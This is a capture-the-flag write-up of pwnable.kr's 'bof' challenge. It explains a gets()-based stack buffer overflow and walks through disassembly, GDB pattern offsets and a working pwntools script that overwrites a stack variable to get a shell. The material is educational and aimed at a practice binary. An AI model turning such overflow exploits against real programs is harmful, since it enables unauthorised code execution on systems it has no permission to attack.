BOF Writeup (Pwnable.kr)


About Pwnable.kr

pwnable.kr is a free, non-commercial wargame site that hosts hands-on binary-exploitation challenges you solve by SSH’ing into remote challenge accounts, analysing provided binaries/source, and exploiting them to read flag files. It’s ideal for learning and practicing low-level hacking techniques (buffer overflows, format strings, heap/stack bugs) with community writeups and a ranking system.


Overview

BOF is an easy binary exploitation challenge from “pwnable.kr”. This challenge is all about the infamous buffer overflow vulnerability, it’s exploitation and often critical impact.


Accessing the binary

We can access the binary via SSH:

┌──(root㉿kali)-[/home/kali]
└─# ssh bof@pwnable.kr -p2222
[password: guest]

Looking inside the current directory, we can see the binary, the source code and couple other files.

bof@ubuntu:~$ ls -la
total 48
drwxr-x--- 2 root bof 4096 Jun 15 09:17 .
drwxr-xr-x 118 root root 4096 Jun 1 12:05 ..
-rw-r--r-- 1 root root 220 Feb 14 2025 .bash_logout
-rw-r--r-- 1 root root 3771 Feb 14 2025 .bashrc
-rwxr-xr-x 1 root bof 15300 Mar 26 2025 bof
-rw-r--r-- 1 root root 342 Mar 26 2025 bof.c
-rw------- 1 root root 46 Jun 15 09:17 .gdb_history
-rw-r--r-- 1 root root 811 Apr 3 2025 .profile
-rw-r--r-- 1 root root 86 Apr 3 2025 readme

Before anything, I ran the program to see what it does. It prompted me to overflow the buffer, which then gets detected as stack smashing.

bof@ubuntu:~$ file bof
bof: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=1cabd158f67491e9edb3df0219ac3a4ef165dc76, for GNU/Linux 3.2.0, not stripped
bof@ubuntu:~$ ./bof
overflow me : letmein123
Nah..
bof@ubuntu:~$ ./bof
overflow me : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Nah..
*** stack smashing detected ***: terminated
Aborted (core dumped)

Plus, there was “readme” file. The binary was accessible locally on port 9000 as well.

bof@ubuntu:~$ cat readme 
bof binary is running at "nc 0 9000" under bof_pwn privilege. get shell and read flag


Analysing the source code

Let’s check the source code. It looks quite simple at first sight.

Let’s break down the code and analyse it in chunks. It’s crucial that we understand the challenge, find where is the vulnerability and how to exploit it successfully.


1st part (”main” function):

int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

The main function just calls another “func” function with parameter “deadbeef” (in hex).


2nd part (”func” function):

void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!

Declares 32-byte character buffer and gets input from user with dangerous “gets” function (hence the comment).


3rd part (comparison):

if(key == 0xcafebabe){
setregid(getegid(), getegid());
system("/bin/sh");
}
else{
printf("Nah..\n");
}

Checks if the original “key” variable (previously containing “deadbeef”) equals to “cafebabe” in hex. If it does, it grants the user the Bash shell.


Exploiting buffer overflow vulnerability, overwriting “key” variable & getting shell

To make debugging and exploitation easier, we can download the binary to our machine like so:

┌──(root㉿kali)-[/home/kali]
└─# scp -P 2222 bof@pwnable.kr:bof .
bof@pwnable.kr's password:

Let’s construct a plan of action based on our earlier enumeration. To get the shell, we have to overwrite the “key” variable with certain value by escaping our buffer. The problem is that we don’t know the exact locations on the stack of these 2 variables.

There are multiple approaches to solve this challenge. I’ll show you one where we calculate the memory address where we want to overwrite and other where we use GDB debugger instead.


Approach 1: Calculating where to overwrite

To find the “key” variable, we have to perform some reverse engineering and disassemble the binary. There are a lot of disassemblers we can use, like IDA Pro or Ghidra. Since this is a simple program, I’m going to showcase “objdump” disassembler which is built into Kali Linux by default. Use this command to disassemble “bof” (”-M” specifies Intel assembly syntax):

┌──(kali㉿kali)-[~]
└─$ objdump -d bof -M intel

A giant scary blob of assembly will appear. This is what reverse engineering looks like. There are programs called decompilers too (e.g. Ghidra has one), which generate pseudo C code for your convenience, but we won’t need that here.

To proceed, find the “func” function near the end.


Finding the “gets” function, we can see that the input gets wrote to memory address “ebp-0x2c”. That’s the location of our buffer.

loads input to ebp-0x2c

Few lines below, we can find the comparison with address “ebp+0x8”. That’s the address of the “key” variable that we desperately need.

compares 0xcafebabe to value at ebp+0x8

If you’re confused initially, it’s okay, binary exploitation is a whole other field of cybersecurity. Unfortunately, I can’t fully explain how the stack works in 32-bit architecture here, so you need to do some research yourself.

EBP is a register saved on the stack (separates current stack frame with ESP register). Before a function gets called, couple things are saved on the stack like EIP (instruction pointer/return address) and function parameters (”key” variable). The locations of these values (offsets) can be discovered by reading the disassembly. For better understanding, I tried to draw out the stack:

visualization of the stack


To write and send our payload remotely, we can use the Pwntools Python library. Finished exploit with payload looks like this:

from pwn import *

# Set up context
context.binary = ELF('./bof') # Update with the actual binary
context.log_level = 'debug' # Change to 'info' or 'warning' for less verbosity

def start_remote():
"""Connect to the remote binary."""
return remote('localhost', 9000) # Update with actual host and port

# Start the exploit
io = start_remote()

# Craft payload
payload = b'A' * 0x2c #buffer offset
payload += b'B' * 4 #saved ebp
payload += b'C' * 4 #return address
payload += p32(0xcafebabe) #key variable

# Send the payload
io.sendline(payload)

# Interact with the shell
io.interactive()

To access the remote endpoint hosting the binary, we can do port forwarding with SSH:

┌──(kali㉿kali)-[~]
└─$ ssh bof@pwnable.kr -p2222 -L 9000:localhost:9000

Back on our machine, we can run the exploit. And voila, we have the shell! The flag is off for grabs.


Approach 2: Finding the address with GDB

Simpler alternative is using a debugger and observe the memory in action (GDB temporarily disables ASLR). We can just catch what data gets loaded into the “key” variable and craft our payload based on that.

I’ll be using GDB on Kali Linux with GEF (GDB Enhanced Features) extension.


Before anything, we have to set up a breakpoint in the program, ideally near the comparison. To find the exact location of that instruction in the memory, we can use “objdump” again.

The address of “func” is “0x11fd” and the address of the comparison instruction is “0x123c”. If we do the math, we can say that the address we need is “func + 63”.

After that, we can set our breakpoint in GDB.

gef➤  break *func + 63
Breakpoint 1 at 0x123c
gef➤ info breakpoints
Num Type Disp Enb Address What
1 breakpoint keep y 0x0000123c <func+63>

Next, we need a payload with some pattern. We can use “cyclic” to generate one with 100 bytes.

┌──(kali㉿kali)-[~]
└─$ cyclic 100
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

We can type “r” to run the program and enter our payload.

gef➤  r
Starting program: /home/kali/bof
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
overflow me :


A lot of scary things will pop up. At the top, we can see the registers and the stack, containing our long payload.

Below, we can see the comparison instruction. That’s where we set our breakpoint.

program stopped at our breakpoint

Since we’re using a debugger, we can look directly into memory and see what value is being compared to “0xcafebabe”. Examining the value at “ebp+0x8”, we can see “0x6161616e”, which is an equivalent to “naaa” in ASCII (remember little-endian).

examining value at ebp+8 (plus couple others), equivalent to “naaa”

We could use Pwntools again to write the exploit where payload could look something like this:

payload = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaa'  #reaching key variable
payload += p32(0xcafebabe) #overwriting key variable

And get the flag in the same fashion.


Buffer overflows in real world

Buffer overflow is one of the oldest vulnerabilities in book. If you follow the world of IT at all, you have definitely seen some article about a company getting hacked by buffer overflow, which led to full system compromise. By exploiting BOFs, hackers get write access to nearby memory. If they manage to overwrite the return address on the stack, they can redirect the code execution and get a shell on the system. That’s also the goal of most BOF CTF challenges, but not this one.

The world fights with buffer overflows constantly to this day. Languages which give programmers complete control of the memory (like C or C++) are often producers of unsafe programs, especially when using functions like “gets” or “strcpy” which do not check the size of the buffer. That’s why the world came up with memory safe languages like Rust and security features like ASLR, non-executable stack, PIE, RELRO etc.


Summary & final thoughts

BOF is an easy binary exploitation challenge from “pwnable.kr”. This challenge didn’t let us overwrite the return address, but a variable. Using a disassembler and debugger, we peaked inside the memory and saw the exploitation of buffer overflow in action. In my opinion, very solid introduction to BOFs and binary exploitation in general. Exciting, wasn’t it?

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)